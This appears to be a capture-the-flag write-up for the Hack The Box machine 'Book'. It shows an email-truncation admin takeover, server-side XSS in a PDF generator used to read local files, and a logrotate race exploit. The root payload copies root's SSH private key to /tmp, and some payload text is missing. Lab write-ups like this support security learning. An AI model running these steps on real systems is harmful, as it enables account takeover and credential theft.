HTB - Linux Book

HTB - Linux Book

We started by gaining admin user of the web application through a truncation of the email field in the login form. Once logged we could read file on the server through an XSS in the PDF generator. With a ssh private key previously fetched on the server we could use pspy to identify the use of logrotate and exploit it with logrottent.

nobody - user


$ nmap -sS -sV -sC -O -p- -vvv -T4 --reason -oN

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMrLSBfMJGYbweKg7qPaY0uw9OBPR3dlM6GiVPDVca05vEsQKJ47YXEIZoMCIg/QvJdP6RsmeQfcFbszP/stxoVfWPLBS6csfdl4rz8MjNuRAcUQjcYhPEejogNjRZKf695ggwUybHATBXNLBpCMNrrrCqtKVvgzljdEK9rnAlOVztI8bEaLbQV87lmQJvt38bHdt+UsO+HIJwrwrUkRzXeja1k/DJ4BfWgmTNUJyUWo8XiTQrpBe7JkeQ4DwJ7HZMtpnhHDv/BIwi6Tk994tDpbTGvmbnLivvT+j22KruHE6ZvEhbts+2907haztuZdgiNG5dFPH7jKapIrZWtxTB
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNKAm6pa94qHHk0DuSIarpsJaCk2vUfZkgWkrXPeIorMjT/DyTCfsM2ViRnU9YSnrVj/c3OQ1vyW8eMxiRDoOB8=
|   256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICk6vCR5eZZvVb6fwpX7k054lgERxpbaEC8jyGKxJ4Xm
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
| vulners:
|   cpe:/a:apache:http_server:2.4.29:
|       CVE-2019-0211   7.2
|       CVE-2018-1312   6.8
|       CVE-2017-15715  6.8
|       CVE-2019-10082  6.4
|       CVE-2019-0217   6.0
|       CVE-2019-10098  5.8
|       CVE-2019-10081  5.0
|       CVE-2019-0220   5.0
|       CVE-2019-0196   5.0
|       CVE-2018-17199  5.0
|       CVE-2018-1333   5.0
|       CVE-2017-15710  5.0
|       CVE-2019-0197   4.9
|       CVE-2019-10092  4.3
|       CVE-2018-11763  4.3
|_      CVE-2018-1283   3.5

The scope only include a web server.

getting access to admin panel

After testing a lot of payload in the different fields, it’s seems the username value is limited to 10 char and the address email limited to 20 char.

If you enter more than 10 or 20 char, the right part of the string is removed, so the string is truncated. So if I create an user with 1234567890123456@a.bxxxxxxxx with email address I won’t be able to log myself with 1234567890123456@a.bxxxxxxxx as all the x will be removed. Instead I can login with 1234567890123456@a.b as the whole string is 20 chars long.

While inspecting the different pages one displayed us the administrator email address : admin@book.htb, if we try to create an account with this email we will get the following message

So we are now sure that the admin account uses this email. Even if we add space char after the end of the address we can’t create account.

It’s pretty clear that we have to create an admin account using this email address. For this we need to provide a different address than admin@book.htb but we have to use this email, paradoxical.

Or not if we use the truncation to provide a different address at sign up time but which will be stored as admin@book.htb. For this we will simply use admin@book.htb which is 14 char long, add 6 spaces and a random char : admin@book.htb x.

As said before, the x will be truncated as it is the 21th char and the space doesn’t count, so we can register an account with the administrator mail and a password we know !

POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Connection: close
Upgrade-Insecure-Requests: 1

name=test&email=admin%40book.htb      a&password=test

Then we can sign in with admin@book.htb:test and voilà!

We are now logged as admin and go to and sign-in with the exact same credentials.

getting user access

After exploring a bit the admin panel a functionality seems interesting, we can export the users and books list as PDF

And the fun thing it’s that I had some users with (among others) XSS payloads in their names, most of the fields were escaped but it was rendered in the PDF file.


However the exploitation is not very intuitive. I mean, it’s not the victim browser who will execute the Javascript but the server ! We can’t steal cookie or redirect the user, and for our case we don’t even have users to interact with.

But hopefully while looking for documentation I came across this gem :

From this guy poc, it’s seems possible to read file from the server thanks to a XHR request using the file:// scheme.

Hopefully our modern browser do not allow this kind of request and you will have this error if you try to execute the next poc in your browser. Else anybody could read file from your computer just by browsing their web sites …

Not allowed to load local resource

We can’t use the user named field to host the payload as it’s restricted to 10 char, however we can also export the books list, so let’s try and see what happens.


The same exact behavior but we are no more restricted for the size of the payload.

Let’s try to read a well know file with the following query

POST /collections.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------411947442838258472532255369924
Content-Length: 874
Connection: close
Cookie: PHPSESSID=foim1p66tu2jontgda6uthcbq1
Upgrade-Insecure-Requests: 1

Content-Disposition: form-data; name="title"

    x=new XMLHttpRequest;

Content-Disposition: form-data; name="author"

    x=new XMLHttpRequest;

Content-Disposition: form-data; name="Upload"; filename="42.pdf"
Content-Type: application/pdf

Content-Disposition: form-data; name="Upload"


And boom we got the file after exporting the books list :


Thanks to this file and my personal list to file to test when an LFI occurs, it was quite easy to spot /home/reader/.ssh/id_rsa and use this private key to login to the server and get the user flag : 51c1d4b5197fa30e3e5d37f8778f95bc

I’m pretty happy to have found this doc about XSS while generating PDF else it would have been a nightmare to find a way to exploit this ..

user - root

After some basic recon I didn’t found anything interesting, there is a password in db.php and I also dumped the mysql database but still nothing.

I had discover the tool : which use different techniques to discover running crontab or other commands started by the others users.

We can quickly identify a command started by root

2020/04/23 13:22:23 CMD: UID=0    PID=23533  | /usr/sbin/logrotate -f /root/log.cfg
2020/04/23 13:22:23 CMD: UID=0    PID=23532  | /bin/sh /root/
2020/04/23 13:22:23 CMD: UID=0    PID=23534  | sleep 5
2020/04/23 13:22:28 CMD: UID=0    PID=23538  | sleep 5

After some research about logrotate I found this which exploit a race condition for a local privilege escalation in logrotate until 3.15, lucky us the installed version is 3.11.

There are some prerequisites :

  • Logrotate has to be executed as root
  • The logpath needs to be in control of the attacker
  • Any option that creates files is set in the logrotate configuration

In our case, it’s executed by root, we have /home/reader/backups/access.log which is owned by us and seems to be monitored and we will cross the fingers for the last option as we can’t read the configuration file.

So to exploit this we need to execute

$ ./logrotten -d -p ./payloadfile /home/reader/backups/access.log
logfile: /home/reader/backups/access.log
logpath: /home/reader/backups
logpath2: /home/reader/backups2
targetpath: /etc/bash_completion.d/access.log
targetdir: /etc/bash_completion.d
p: access.log
Waiting for rotating /home/reader/backups/access.log...

with payloadfile which is containing our script to be executed as root (can be cp /root/.ssh/id_rsa /tmp && chown reader:reader /tmp/id_rsa)

The script tells us that it is waiting for the rotation of the log file, this happen (in real life) at a certain date or when the file size exceed a limit.

Let’s fill it

$ cat /dev/urandom > /home/reader/backups/access.log

And a few seconds later, on the other terminal


Waiting for rotating /home/reader/backups/access.log...

Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done !

The file id_rsa has been created in /tmp and we can now use it and login as root ! We could drop a shell but have this private key is more reliable if we can’t come back later : 84da92adf998a1c7231297f70dd89714